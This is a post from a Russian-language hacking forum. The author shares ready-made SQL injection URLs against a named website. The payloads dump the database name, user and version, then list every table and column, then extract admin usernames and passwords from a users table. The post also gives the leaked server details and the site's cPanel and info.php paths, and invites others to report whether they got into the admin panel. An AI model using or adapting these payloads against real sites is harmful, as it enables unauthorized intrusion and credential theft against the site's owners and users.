Показать сообщение отдельно

  #3  
Старый 28.08.2016, 23:21
NonBlizz
Новичок
Регистрация: 27.08.2016
Сообщений: 16
С нами: 5111606

Репутация: 0
По умолчанию

ТИЦ:10PR:2

Код:
ttp://heteroworld.com/view_news.php?id=-455%27+union+select+1,concat_ws(database(),user(),version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16+--+
Вывод таблиц:

Код:
ttp://heteroworld.com/view_news.php?id=-455%27+union+select+1,user(),3,4,5,6,7,(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x),9,10,11,12,13,14,15,16+--+
Вывод админа:

Код:
ttp://heteroworld.com/view_news.php?id=-455%27+union+select+1,user(),3,4,5,6,7,concat_ws(0x3,username,password),9,10,11,12,13,14,15,16+from+heterodrugs.users+--+
Version (5.5.49-cll-lve)

Database (heterodrugs)

User (hetero582016@localhost)


Для простоты действий:

ttp://heteroworld.com/cpanel/

ttp://heteroworld.com/info.php


P.S в Cpanel с этими данными так и не смог зайти. Кто зальётся отпишитесь=)
 
Ответить с цитированием